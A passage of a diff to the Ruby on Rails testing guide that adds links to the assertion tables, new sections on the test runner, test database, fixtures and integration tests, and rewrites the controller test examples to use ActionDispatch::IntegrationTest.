)` | Ensures that `obj` is an instance of `class`.| +| `assert_not_instance_of( class, obj, [msg] )` | Ensures that `obj` is not an instance of `class`.| +| `assert_kind_of( class, obj, [msg] )` | Ensures that `obj` is an instance of `class` or is descending from it.| +| `assert_not_kind_of( class, obj, [msg] )` | Ensures that `obj` is not an instance of `class` and is not descending from it.| +| `assert_respond_to( obj, symbol, [msg] )` | Ensures that `obj` responds to `symbol`.| +| `assert_not_respond_to( obj, symbol, [msg] )` | Ensures that `obj` does not respond to `symbol`.| +| `assert_operator( obj1, operator, [obj2], [msg] )` | Ensures that `obj1.operator(obj2)` is true.| +| `assert_not_operator( obj1, operator, [obj2], [msg] )` | Ensures that `obj1.operator(obj2)` is false.| +| `assert_predicate ( obj, predicate, [msg] )` | Ensures that `obj.predicate` is true, e.g. `assert_predicate str, :empty?`| +| `assert_not_predicate ( obj, predicate, [msg] )` | Ensures that `obj.predicate` is false, e.g. `assert_not_predicate str, :empty?`| +| `assert_send( array, [msg] )` | Ensures that executing the method listed in `array[1]` on the object in `array[0]` with the parameters of `array[2 and up]` is true, e.g. assert_send [@user, :full_name, 'Sam Smith']. This one is weird eh?| +| `flunk( [msg] )` | Ensures failure. This is useful to explicitly mark a test that isn't finished yet.| + +The above are a subset of assertions that minitest supports. For an exhaustive & +more up-to-date list, please check +[Minitest API documentation](http://docs.seattlerb.org/minitest/), specifically +[`Minitest::Assertions`](http://docs.seattlerb.org/minitest/Minitest/Assertions.html). Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier. @@ -431,37 +316,334 @@ Rails adds some custom assertions of its own to the `minitest` framework: | Assertion | Purpose | | --------------------------------------------------------------------------------- | ------- | -| `assert_difference(expressions, difference = 1, message = nil) {...}` | Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.| -| `assert_no_difference(expressions, message = nil, &block)` | Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.| -| `assert_recognizes(expected_options, path, extras={}, message=nil)` | Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.| -| `assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)` | Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.| -| `assert_response(type, message = nil)` | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range. You can also pass an explicit status number or its symbolic equivalent. For more information, see [full list of status codes](http://rubydoc.info/github/rack/rack/master/Rack/Utils#HTTP_STATUS_CODES-constant) and how their [mapping](http://rubydoc.info/github/rack/rack/master/Rack/Utils#SYMBOL_TO_STATUS_CODE-constant) works.| -| `assert_redirected_to(options = {}, message=nil)` | Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that `assert_redirected_to(controller: "weblog")` will also match the redirection of `redirect_to(controller: "weblog", action: "show")` and so on. You can also pass named routes such as `assert_redirected_to root_path` and Active Record objects such as `assert_redirected_to @article`.| -| `assert_template(expected = nil, message=nil)` | Asserts that the request was rendered with the appropriate template file.| +| [`assert_difference(expressions, difference = 1, message = nil) {...}`](http://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_difference) | Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.| +| [`assert_no_difference(expressions, message = nil, &block)`](http://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_no_difference) | Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.| +| [`assert_recognizes(expected_options, path, extras={}, message=nil)`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_recognizes) | Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.| +| [`assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_generates) | Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.| +| [`assert_response(type, message = nil)`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/ResponseAssertions.html#method-i-assert_response) | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range. You can also pass an explicit status number or its symbolic equivalent. For more information, see [full list of status codes](http://rubydoc.info/github/rack/rack/master/Rack/Utils#HTTP_STATUS_CODES-constant) and how their [mapping](http://rubydoc.info/github/rack/rack/master/Rack/Utils#SYMBOL_TO_STATUS_CODE-constant) works.| +| [`assert_redirected_to(options = {}, message=nil)`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/ResponseAssertions.html#method-i-assert_redirected_to) | Asserts that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that `assert_redirected_to(controller: "weblog")` will also match the redirection of `redirect_to(controller: "weblog", action: "show")` and so on. You can also pass named routes such as `assert_redirected_to root_path` and Active Record objects such as `assert_redirected_to @article`.| You'll see the usage of some of these assertions in the next chapter. -### A Brief Note About Minitest +### A Brief Note About Test Cases All the basic assertions such as `assert_equal` defined in `Minitest::Assertions` are also available in the classes we use in our own test cases. In fact, Rails provides the following classes for you to inherit from: -* `ActiveSupport::TestCase` -* `ActionController::TestCase` -* `ActionMailer::TestCase` -* `ActionView::TestCase` -* `ActionDispatch::IntegrationTest` -* `ActiveJob::TestCase` +* [`ActiveSupport::TestCase`](http://api.rubyonrails.org/classes/ActiveSupport/TestCase.html) +* [`ActionMailer::TestCase`](http://api.rubyonrails.org/classes/ActionMailer/TestCase.html) +* [`ActionView::TestCase`](http://api.rubyonrails.org/classes/ActionView/TestCase.html) +* [`ActionDispatch::IntegrationTest`](http://api.rubyonrails.org/classes/ActionDispatch/IntegrationTest.html) +* [`ActiveJob::TestCase`](http://api.rubyonrails.org/classes/ActiveJob/TestCase.html) Each of these classes include `Minitest::Assertions`, allowing us to use all of the basic assertions in our tests. -NOTE: For more information on `Minitest`, refer to [Minitest](http://ruby-doc.org/stdlib-2.1.0/libdoc/minitest/rdoc/MiniTest.html) +NOTE: For more information on `Minitest`, refer to [its +documentation](http://docs.seattlerb.org/minitest). + +### The Rails Test Runner + +We can run all of our tests at once by using the `rails test` command. + +Or we can run a single test by passing the `rails test` command the filename containing the test cases. + +```bash +$ bin/rails test test/models/article_test.rb +. + +Finished tests in 0.009262s, 107.9680 tests/s, 107.9680 assertions/s. + +1 tests, 1 assertions, 0 failures, 0 errors, 0 skips +``` + +This will run all test methods from the test case. + +You can also run a particular test method from the test case by providing the +`-n` or `--name` flag and the test's method name. + +```bash +$ bin/rails test test/models/article_test.rb -n test_the_truth +. + +Finished tests in 0.009064s, 110.3266 tests/s, 110.3266 assertions/s. + +1 tests, 1 assertions, 0 failures, 0 errors, 0 skips +``` + +You can also run a test at a specific line by providing the line number. + +```bash +$ bin/rails test test/models/post_test.rb:44 # run specific test and line +``` + +You can also run an entire directory of tests by providing the path to the directory. + +```bash +$ bin/rails test test/controllers # run all tests from specific directory +``` + + +The Test Database +----------------- + +Just about every Rails application interacts heavily with a database and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data. + +By default, every Rails application has three environments: development, test, and production. The database for each one of them is configured in `config/database.yml`. + +A dedicated test database allows you to set up and interact with test data in isolation. This way your tests can mangle test data with confidence, without worrying about the data in the development or production databases. + + +### Maintaining the test database schema + +In order to run your tests, your test database will need to have the current +structure. The test helper checks whether your test database has any pending +migrations. It will try to load your `db/schema.rb` or `db/structure.sql` +into the test database. If migrations are still pending, an error will be +raised. Usually this indicates that your schema is not fully migrated. Running +the migrations against the development database (`bin/rails db:migrate`) will +bring the schema up to date. + +NOTE: If there were modifications to existing migrations, the test database needs to +be rebuilt. This can be done by executing `bin/rails db:test:prepare`. + +### The Low-Down on Fixtures + +For good tests, you'll need to give some thought to setting up test data. +In Rails, you can handle this by defining and customizing fixtures. +You can find comprehensive documentation in the [Fixtures API documentation](http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html). + +#### What Are Fixtures? + +_Fixtures_ is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and written in YAML. There is one file per model. + +NOTE: Fixtures are not designed to create every object that your tests need, and are best managed when only used for default data that can be applied to the common case. + +You'll find fixtures under your `test/fixtures` directory. When you run `rails generate model` to create a new model, Rails automatically creates fixture stubs in this directory. + +#### YAML + +YAML-formatted fixtures are a human-friendly way to describe your sample data. These types of fixtures have the **.yml** file extension (as in `users.yml`). + +Here's a sample YAML fixture file: + +```yaml +# lo & behold! I am a YAML comment! +david: + name: David Heinemeier Hansson + birthday: 1979-10-15 + profession: Systems development + +steve: + name: Steve Ross Kellock + birthday: 1974-09-27 + profession: guy with keyboard +``` + +Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank line. You can place comments in a fixture file by using the # character in the first column. + +If you are working with [associations](/association_basics.html), you can simply +define a reference node between two different fixtures. Here's an example with +a `belongs_to`/`has_many` association: + +```yaml +# In fixtures/categories.yml +about: + name: About + +# In fixtures/articles.yml +first: + title: Welcome to Rails! + body: Hello world! + category: about +``` + +Notice the `category` key of the `first` article found in `fixtures/articles.yml` has a value of `about`. This tells Rails to load the category `about` found in `fixtures/categories.yml`. + +NOTE: For associations to reference one another by name, you can use the fixture name instead of specifying the `id:` attribute on the associated fixtures. Rails will auto assign a primary key to be consistent between runs. For more information on this association behavior please read the [Fixtures API documentation](http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html). + +#### ERB'in It Up + +ERB allows you to embed Ruby code within templates. The YAML fixture format is pre-processed with ERB when Rails loads fixtures. This allows you to use Ruby to help you generate some sample data. For example, the following code generates a thousand users: + +```erb +<% 1000.times do |n| %> +user_<%= n %>: + username: <%= "user#{n}" %> + email: <%= "user#{n}@example.com" %> +<% end %> +``` + +#### Fixtures in Action + +Rails automatically loads all fixtures from the `test/fixtures` directory by +default. Loading involves three steps: + +1. Remove any existing data from the table corresponding to the fixture +2. Load the fixture data into the table +3. Dump the fixture data into a method in case you want to access it directly + +TIP: In order to remove existing data from the database, Rails tries to disable referential integrity triggers (like foreign keys and check constraints). If you are getting annoying permission errors on running tests, make sure the database user has privilege to disable these triggers in testing environment. (In PostgreSQL, only superusers can disable all triggers. Read more about PostgreSQL permissions [here](http://blog.endpoint.com/2012/10/postgres-system-triggers-error.html)). + +#### Fixtures are Active Record objects + +Fixtures are instances of Active Record. As mentioned in point #3 above, you can access the object directly because it is automatically available as a method whose scope is local of the test case. For example: + +```ruby +# this will return the User object for the fixture named david +users(:david) + +# this will return the property for david called id +users(:david).id + +# one can also access methods available on the User class +david = users(:david) +david.call(david.partner) +``` + +To get multiple fixtures at once, you can pass in a list of fixture names. For example: + +```ruby +# this will return an array containing the fixtures david and steve +users(:david, :steve) +``` + + +Model Testing +------------- + +Model tests are used to test the various models of your application. + +Rails model tests are stored under the `test/models` directory. Rails provides +a generator to create a model test skeleton for you. + +```bash +$ bin/rails generate test_unit:model article title:string body:text +create test/models/article_test.rb +create test/fixtures/articles.yml +``` + +Model tests don't have their own superclass like `ActionMailer::TestCase` instead they inherit from [`ActiveSupport::TestCase`](http://api.rubyonrails.org/classes/ActiveSupport/TestCase.html). + + +Integration Testing +------------------- + +Integration tests are used to test how various parts of your application interact. They are generally used to test important workflows within our application. + +For creating Rails integration tests, we use the 'test/integration' directory for our application. Rails provides a generator to create an integration test skeleton for us. + +```bash +$ bin/rails generate integration_test user_flows + exists test/integration/ + create test/integration/user_flows_test.rb +``` + +Here's what a freshly-generated integration test looks like: + +```ruby +require 'test_helper' + +class UserFlowsTest < ActionDispatch::IntegrationTest + # test "the truth" do + # assert true + # end +end +``` + +Here the test is inheriting from `ActionDispatch::IntegrationTest`. This makes some additional helpers available for us to use in our integration tests. + +### Helpers Available for Integration Tests + +In addition to the standard testing helpers, inheriting from `ActionDispatch::IntegrationTest` comes with some additional helpers available when writing integration tests. Let's get briefly introduced to the three categories of helpers we get to choose from. + +For dealing with the integration test runner, see [`ActionDispatch::Integration::Runner`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/Runner.html). + +When performing requests, we will have [`ActionDispatch::Integration::RequestHelpers`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/RequestHelpers.html) available for our use. + +If we need to modify the session, or state of our integration test, take a look at [`ActionDispatch::Integration::Session`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/Session.html) to help. + +### Implementing an integration test + +Let's add an integration test to our blog application. We'll start with a basic workflow of creating a new blog article, to verify that everything is working properly. + +We'll start by generating our integration test skeleton: + +```bash +$ bin/rails generate integration_test blog_flow +``` + +It should have created a test file placeholder for us. With the output of the +previous command we should see: + +```bash + invoke test_unit + create test/integration/blog_flow_test.rb +``` + +Now let's open that file and write our first assertion: + +```ruby +require 'test_helper' + +class BlogFlowTest < ActionDispatch::IntegrationTest + test "can see the welcome page" do + get "/" + assert_select "h1", "Welcome#index" + end +end +``` + +We will take a look at `assert_select` to query the resulting HTML of a request in the "Testing Views" section below. It is used for testing the response of our request by asserting the presence of key HTML elements and their content. + +When we visit our root path, we should see `welcome/index.html.erb` rendered for the view. So this assertion should pass. + +#### Creating articles integration + +How about testing our ability to create a new article in our blog and see the resulting article. + +```ruby +test "can create an article" do + get "/articles/new" + assert_response :success + + post "/articles", + params: { article: { title: "can create", body: "article successfully." } } + assert_response :redirect + follow_redirect! + assert_response :success + assert_select "p", "Title:\n can create" +end +``` + +Let's break this test down so we can understand it. + +We start by calling the `:new` action on our Articles controller. This response should be successful. + +After this we make a post request to the `:create` action of our Articles controller: + +```ruby +post "/articles", + params: { article: { title: "can create", body: "article successfully." } } +assert_response :redirect +follow_redirect! +``` + +The two lines following the request are to handle the redirect we setup when creating a new article. + +NOTE: Don't forget to call `follow_redirect!` if you plan to make subsequent requests after a redirect is made. + +Finally we can assert that our response was successful and our new article is readable on the page. + +#### Taking it further + +We were able to successfully test a very small workflow for visiting our blog and creating a new article. If we wanted to take this further we could add tests for commenting, removing articles, or editing comments. Integration tests are a great place to experiment with all kinds of use-cases for our applications. + Functional Tests for Your Controllers ------------------------------------- -In Rails, testing the various actions of a controller is a form of writing functional tests. Remember your controllers handle the incoming web requests to your application and eventually respond with a rendered view. When writing functional tests, you're testing how your actions handle the requests and the expected result, or response in some cases an HTML view. +In Rails, testing the various actions of a controller is a form of writing functional tests. Remember your controllers handle the incoming web requests to your application and eventually respond with a rendered view. When writing functional tests, you are testing how your actions handle the requests and the expected result or response, in some cases an HTML view. -### What to Include in your Functional Tests +### What to include in your Functional Tests You should test for things such as: @@ -471,26 +653,52 @@ You should test for things such as: * was the correct object stored in the response template? * was the appropriate message displayed to the user in the view? -Now that we have used Rails scaffold generator for our `Article` resource, it has already created the controller code and tests. You can take look at the file `articles_controller_test.rb` in the `test/controllers` directory. +The easiest way to see functional tests in action is to generate a controller using the scaffold generator: -Let me take you through one such test, `test_should_get_index` from the file `articles_controller_test.rb`. +```bash +$ bin/rails generate scaffold_controller article title:string body:text +... +create app/controllers/articles_controller.rb +... +invoke test_unit +create test/controllers/articles_controller_test.rb +... +``` + +This will generate the controller code and tests for an `Article` resource. +You can take a look at the file `articles_controller_test.rb` in the `test/controllers` directory. + +If you already have a controller and just want to generate the test scaffold code for +each of the seven default actions, you can use the following command: + +```bash +$ bin/rails generate test_unit:scaffold article +... +invoke test_unit +create test/controllers/articles_controller_test.rb +... +``` + +Let's take a look at one such test, `test_should_get_index` from the file `articles_controller_test.rb`. ```ruby -class ArticlesControllerTest < ActionController::TestCase +# articles_controller_test.rb +class ArticlesControllerTest < ActionDispatch::IntegrationTest test "should get index" do - get :index + get '/articles' assert_response :success - assert_not_nil assigns(:articles) + assert_includes @response.body, 'Articles' end end ``` -In the `test_should_get_index` test, Rails simulates a request on the action called `index`, making sure the request was successful and also ensuring that it assigns a valid `articles` instance variable. +In the `test_should_get_index` test, Rails simulates a request on the action called `index`, making sure the request was successful +and also ensuring that the right response body has been generated. -The `get` method kicks off the web request and populates the results into the response. It accepts 4 arguments: +The `get` method kicks off the web request and populates the results into the `@response`. It accepts 4 arguments: * The action of the controller you are requesting. - This can be in the form of a string or a symbol. + This can be in the form of a string or a route (i.e. `articles_url`). * `params`: option with a hash of request parameters to pass into the action (e.g. query string parameters or article variables). @@ -499,18 +707,18 @@ The `get` method kicks off the web request and populates the results into the re * `flash`: option with a hash of flash values. -All the keyword arguments are optional. +All of these keyword arguments are optional. Example: Calling the `:show` action, passing an `id` of 12 as the `params` and setting a `user_id` of 5 in the session: ```ruby -get(:show, params: { 'id' => "12" }, session: { 'user_id' => 5 }) +get(:show, params: { id: 12 }, session: { user_id: 5 }) ``` Another example: Calling the `:view` action, passing an `id` of 12 as the `params`, this time with no session, but with a flash message. ```ruby -get(:view, params: { 'id' => '12' }, flash: { 'message' => 'booya!' }) +get(view_url, params: { id: 12 }, flash: { message: 'booya!' }) ``` NOTE: If you try running `test_should_create_article` test from `articles_controller_test.rb` it will fail on account of the newly added model level validation and rightly so. @@ -520,10 +728,10 @@ Let us modify `test_should_create_article` test in `articles_controller_test.rb` ```ruby test "should create article" do assert_difference('Article.count') do - post :create, params: { article: { title: 'Some title' } } + post '/article', params: { article: { title: 'Some title' } } end - assert_redirected_to article_path(assigns(:article)) + assert_redirected_to article_path(Article.last) end ``` @@ -547,35 +755,32 @@ NOTE: Functional tests do not verify whether the specified request type is accep ### Testing XHR (AJAX) requests To test AJAX requests, you can specify the `xhr: true` option to `get`, `post`, -`patch`, `put`, and `delete` methods: +`patch`, `put`, and `delete` methods. For example: ```ruby -test "ajax request responds with no layout" do - get :show, params: { id: articles(:first).id }, xhr: true +test "ajax request" do + article = articles(:first) + get article_url(article), xhr: true - assert_template :index - assert_template layout: nil + assert_equal 'hello world', @response.body + assert_equal "text/javascript", @response.content_type end ``` -### The Four Hashes of the Apocalypse +### The Three Hashes of the Apocalypse -After a request has been made and processed, you will have 4 Hash objects ready for use: +After a request has been made and processed, you will have 3 Hash objects ready for use: -* `assigns` - Any objects that are stored as instance variables in actions for use in views. -* `cookies` - Any cookies that are set. -* `flash` - Any objects living in the flash. -* `session` - Any object living in session variables. +* `cookies` - Any cookies that are set +* `flash` - Any objects living in the flash +* `session` - Any object living in session variables -As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for `assigns`. For example: +As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name. For example: ```ruby flash["gordon"] flash[:gordon] session["shmession"] session[:shmession] cookies["are_good_for_u"] cookies[:are_good_for_u] - -# Because you can't use assigns[:something] for historical reasons: -assigns["something"] assigns(:something) ``` ### Instance Variables Available @@ -594,58 +799,18 @@ and can be set directly on the `@request` instance variable: ```ruby -# setting a HTTP Header +# setting an HTTP Header @request.headers["Accept"] = "text/plain, text/html" -get :index # simulate the request with custom header +get articles_url # simulate the request with custom header # setting a CGI variable @request.headers["HTTP_REFERER"] = "http://example.com/home" -post :create # simulate the request with custom env variable -``` - -### Testing Templates and Layouts - -Eventually, you may want to test whether a specific layout is rendered in the view of a response. - -#### Asserting Templates - -If you want to make sure that the response rendered the correct template and layout, you can use the `assert_template` -method: - -```ruby -test "index should render correct template and layout" do - get :index - assert_template :index - assert_template layout: "layouts/application" - - # You can also pass a regular expression. - assert_template layout: /layouts\/application/ -end -``` - -NOTE: You cannot test for template and layout at the same time, with a single call to `assert_template`. - -WARNING: You must include the "layouts" directory name even if you save your layout file in this standard layout directory. Hence, `assert_template layout: "application"` will not work. - -#### Asserting Partials - -If your view renders any partial, when asserting for the layout, you can to assert for the partial at the same time. -Otherwise, assertion will fail. - -Remember, we added the "_form" partial to our new Article view? Let's write an assertion for that in the `:new` action now: - -```ruby -test "new should render correct layout" do - get :new - assert_template layout: "layouts/application", partial: "_form" -end +post article_url # simulate the request with custom env variable ``` -This is the correct way to assert for when the view renders a partial with a given name. As identified by the `:partial` key passed to the `assert_template` call. - ### Testing `flash` notices -If you remember from earlier one of the Four Hashes of the Apocalypse was `flash`. +If you remember from earlier, one of the Three Hashes of the Apocalypse was `flash`. We want to add a `flash` message to our blog application whenever someone successfully creates a new Article. @@ -655,10 +820,10 @@ Let's start by adding this assertion to our `test_should_create_article` test: ```ruby test "should create article" do assert_difference('Article.count') do - post :create, params: { article: { title: 'Some title' } } + post article_url, params: { article: { title: 'Some title' } } end - assert_redirected_to article_path(assigns(:article)) + assert_redirected_to article_path(Article.last) assert_equal 'Article was successfully created.', flash[:notice] end ``` @@ -666,7 +831,7 @@ end If we run our test now, we should see a failure: ```bash -$ bin/rake test test/controllers/articles_controller_test.rb test_should_create_article +$ bin/rails test test/controllers/articles_controller_test.rb -n test_should_create_article Run options: -n test_should_create_article --seed 32266 # Running: @@ -704,7 +869,7 @@ end Now if we run our tests, we should see it pass: ```bash -$ bin/rake test test/controllers/articles_controller_test.rb test_should_create_article +$ bin/rails test test/controllers/articles_controller_test.rb -n test_should_create_article Run options: -n test_should_create_article --seed 18981 # Running: @@ -725,12 +890,12 @@ Let's write a test for the `:show` action: ```ruby test "should show article" do article = articles(:one) - get :show, params: { id: article.id } + get '/article', params: { id: article.id } assert_response :success end ``` -Remember from our discussion earlier on fixtures the `articles()` method will give us access to our Articles fixtures. +Remember from our discussion earlier on fixtures, the `articles()` method will give us access to our Articles fixtures. How about deleting an existing Article? @@ -738,7 +903,7 @@ How about deleting an existing Article? test "should destroy article" do article = articles(:one) assert_difference('Article.count', -1) do - delete :destroy, params: { id: article.id } + delete article_url(article) end assert_redirected_to articles_path @@ -750,47 +915,56 @@ We can also add a test for updating an existing Article. ```ruby test "should update article" do article = articles(:one) - patch :update, params: { id: article.id, article: { title: "updated" } } - assert_redirected_to article_path(assigns(:article)) + + patch '/article', params: { id: article.id, article: { title: "updated" } } + + assert_redirected_to article_path(article) + # Reload association to fetch updated data and assert that title is updated. + article.reload + assert_equal "updated", article.title end ``` Notice we're starting to see some duplication in these three tests, they both access the same Article fixture data. We can D.R.Y. this up by using the `setup` and `teardown` methods provided by `ActiveSupport::Callbacks`. -Our test should now look something like this, disregard the other tests we're leaving them out for brevity. +Our test should now look something as what follows. Disregard the other tests for now, we're leaving them out for brevity. ```ruby require 'test_helper' -class ArticlesControllerTest < ActionController::TestCase +class ArticlesControllerTest < ActionDispatch::IntegrationTest # called before every single test - def setup + setup do @article = articles(:one) end # called after every single test - def teardown + teardown do # when controller is using cache it may be a good idea to reset it afterwards Rails.cache.clear end test "should show article" do # Reuse the @article instance variable from setup - get :show, params: { id: @article.id } + get article_url(@article) assert_response :success end test "should destroy article" do assert_difference('Article.count', -1) do - delete :destroy, params: { id: @article.id } + delete article_url(@article) end assert_redirected_to articles_path end test "should update article" do - patch :update, params: { id: @article.id, article: { title: "updated" } } - assert_redirected_to article_path(assigns(:article)) + patch '/article', params: { id: @article.id, article: { title: "updated" } } + + assert_redirected_to article_path(@article) + # Reload association to fetch updated data and assert that title is updated. + @article.reload + assert_equal "updated", @article.title end end ``` @@ -803,7 +977,7 @@ To avoid code duplication, you can add your own test helpers. Sign in helper can be a good example: ```ruby -test/test_helper.rb +#test/test_helper.rb module SignInHelper def sign_in(user) @@ -811,7 +985,7 @@ module SignInHelper end end -class ActionController::TestCase +class ActionDispatch::IntegrationTest include SignInHelper end ``` @@ -819,15 +993,14 @@ end ```ruby require 'test_helper' -class ProfileControllerTest < ActionController::TestCase +class ProfileControllerTest < ActionDispatch::IntegrationTest test "should show profile" do # helper is now reusable from any controller test case sign_in users(:david) - get :show + get profile_url assert_response :success - assert_equal users(:david), assigns(:user) end end ``` @@ -835,40 +1008,16 @@ end Testing Routes -------------- -Like everything else in your Rails application, it is recommended that you test your routes. Below are example tests for the routes of default `show` and `create` action of `Articles` controller above and it should look like: - -```ruby -class ArticleRoutesTest < ActionController::TestCase - test "should route to article" do - assert_routing '/articles/1', { controller: "articles", action: "show", id: "1" } - end - - test "should route to create article" do - assert_routing({ method: 'post', path: '/articles' }, { controller: "articles", action: "create" }) - end -end -``` - -I've added this file here `test/controllers/articles_routes_test.rb` and if we run the test we should see: - -```bash -$ bin/rake test test/controllers/articles_routes_test.rb - -# Running: - -.. +Like everything else in your Rails application, you can test your routes. -Finished in 0.069381s, 28.8263 runs/s, 86.4790 assertions/s. - -2 runs, 6 assertions, 0 failures, 0 errors, 0 skips -``` +NOTE: If your application has complex routes, Rails provides a number of useful helpers to test them. For more information on routing assertions available in Rails, see the API documentation for [`ActionDispatch::Assertions::RoutingAssertions`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html). Testing Views ------------- -Testing the response to your request by asserting the presence of key HTML elements and their content is a common way to test the views of your application. The `assert_select` method allows you to query HTML elements of the response by using a simple yet powerful syntax. +Testing the response to your request by asserting the presence of key HTML elements and their content is a common way to test the views of your application. Like route tests, view tests reside in `test/controllers/` or are part of controller tests. The `assert_select` method allows you to query HTML elements of the response by using a simple yet powerful syntax. There are two forms of `assert_select`: @@ -909,7 +1058,7 @@ assert_select "ol" do end ``` -This assertion is quite powerful. For more advanced usage, refer to its [documentation](http://www.rubydoc.info/github/rails/rails-dom-testing). +This assertion is quite powerful. For more advanced usage, refer to its [documentation](https://github.com/rails/rails-dom-testing/blob/master/lib/rails/dom/testing/assertions/selector_assertions.rb). #### Additional View-Based Assertions @@ -929,32 +1078,34 @@ assert_select_email do end ``` -Testing helpers +Testing Helpers --------------- +A helper is just a simple module where you can define methods which are +available into your views. + In order to test helpers, all you need to do is check that the output of the helper method matches what you'd expect. Tests related to the helpers are located under the `test/helpers` directory. -A helper test looks like so: +Given we have the following helper: ```ruby -require 'test_helper' - -class UserHelperTest < ActionView::TestCase +module UserHelper + def link_to_user(user) + link_to "#{user.first_name} #{user.last_name}", user + end end ``` -A helper is just a simple module where you can define methods which are -available into your views. To test the output of the helper's methods, you just -have to use a mixin like this: +We can test the output of this method like this: ```ruby class UserHelperTest < ActionView::TestCase - include UserHelper + test "should return the user's full name" do + user = users(:david) - test "should return the user name" do - # ... + assert_dom_equal %{<a href="/user/#{user.id}">David Heinemeier Hansson</a>}, link_to_user(user) end end ``` @@ -962,120 +1113,6 @@ end Moreover, since the test class extends from `ActionView::TestCase`, you have access to Rails' helper methods such as `link_to` or `pluralize`. -Integration Testing -------------------- - -Integration tests are used to test how various parts of your application interact. They are generally used to test important work flows within your application. - -For creating Rails integration tests, we use the 'test/integration' directory for your application. Rails provides a generator to create an integration test skeleton for you. - -```bash -$ bin/rails generate integration_test user_flows - exists test/integration/ - create test/integration/user_flows_test.rb -``` - -Here's what a freshly-generated integration test looks like: - -```ruby -require 'test_helper' - -class UserFlowsTest < ActionDispatch::IntegrationTest - # test "the truth" do - # assert true - # end -end -``` - -Inheriting from `ActionDispatch::IntegrationTest` comes with some advantages. This makes available some additional helpers to use in your integration tests. - -### Helpers Available for Integration Tests - -In addition to the standard testing helpers, inheriting `ActionDispatch::IntegrationTest` comes with some additional helpers available when writing integration tests. Let's briefly introduce you to the three categories of helpers you get to choose from. - -For dealing with the integration test runner, see [`ActionDispatch::Integration::Runner`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/Runner.html). - -When performing requests, you will have [`ActionDispatch::Integration::RequestHelpers`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/RequestHelpers.html) available for your use. - -If you'd like to modify the session, or state of your integration test you should look for [`ActionDispatch::Integration::Session`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/Session.html) to help. - -### Implementing an integration test - -Let's add an integration test to our blog application. We'll start with a basic workflow of creating a new blog article, to verify that everything is working properly. - -We'll start by generating our integration test skeleton: - -```bash -$ bin/rails generate integration_test blog_flow -``` - -It should have created a test file placeholder for us, with the output of the previous command you should see: - -```bash - invoke test_unit - create test/integration/blog_flow_test.rb -``` - -Now let's open that file and write our first assertion: - -```ruby -require 'test_helper' - -class BlogFlowTest < ActionDispatch::IntegrationTest - test "can see the welcome page" do - get "/" - assert_select "h1", "Welcome#index" - end -end -``` - -If you remember from earlier in the "Testing Views" section we covered `assert_select` to query the resulting HTML of a request. - -When visit our root path, we should see `welcome/index.html.erb` rendered for the view. So this assertion should pass. - -#### Creating articles integration - -How about testing our ability to create a new article in our blog and see the resulting article. - -```ruby -test "can create an article" do - get "/articles/new" - assert_response :success - assert_template "articles/new", partial: "articles/_form" - - post "/articles", - params: { article: { title: "can create", body: "article successfully." } } - assert_response :redirect - follow_redirect! - assert_response :success - assert_template "articles/show" - assert_select "p", "Title:\n can create" -end -``` - -Let's break this test down so we can understand it. - -We start by calling the `:new` action on our Articles controller. This response should be successful, and we can verify the correct template is rendered including the form partial. - -After this we make a post request to the `:create` action of our Articles controller: - -```ruby -post "/articles", - params: { article: { title: "can create", body: "article successfully." } } -assert_response :redirect -follow_redirect! -``` - -The two lines following the request are to handle the redirect we setup when creating a new article. - -NOTE: Don't forget to call `follow_redirect!` if you plan to make subsequent requests after a redirect is made. - -Finally we can assert that our response was successful, template was rendered, and our new article is readable on the page. - -#### Taking it further - -We were able to successfully test a very small workflow for visiting our blog and creating a new article. If we wanted to take this further we could add tests for commenting, removing articles, or editting comments. Integration tests are a great place to experiment with all kinds of use-cases for our applications. - Testing Your Mailers -------------------- @@ -1103,7 +1140,7 @@ In order to test that your mailer is working as expected, you can use unit tests For the purposes of unit testing a mailer, fixtures are used to provide an example of 